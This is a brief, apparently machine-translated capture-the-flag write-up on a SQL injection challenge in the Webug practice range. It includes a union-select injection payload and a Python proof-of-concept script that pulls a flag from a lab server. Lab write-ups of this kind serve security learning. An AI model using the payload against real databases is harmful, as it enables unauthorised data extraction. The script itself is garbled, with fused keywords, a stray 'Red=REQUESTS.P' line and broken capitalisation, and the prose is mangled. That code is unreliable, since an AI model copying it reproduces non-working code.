A simple injection problem in the Webug shooting range
Add an error after adding
Could not to the database has a error in your SQL syntax; Check the manual-corresponds to your MySQL server version for the right syntax-use-near ' 1 ' on line 1
Can roughly guess is double quotation mark problem, close, next is the normal injection process, finally get flag
Here is the code
#-*-coding:utf-8-*-ImportRequestsImportRedefPOC (): URL="http://192.168.241.128/pentest/test/sqli/sqltamp.php"Data={ "GID":"-1 ' union select 1,flag,3,4 from flag #"} req=requests.get (url,data) Red=REQUESTS.P HTML=req.content HTML=html.decode ('Utf-8') Sear=r'The name is: (. +?) </font>'Flag=Re.findall (sear,html) with open ('Test1.txt','W') as F:f.write (STR (flag))if __name__=='__main__': PoC ()
Here I use a regular match to match and write the flag to the file, and be sure to transcode the returned data
Otherwise, there is no match, and%23 to be written # to be recognized by Python.
Using Python to write an injection vulnerability POC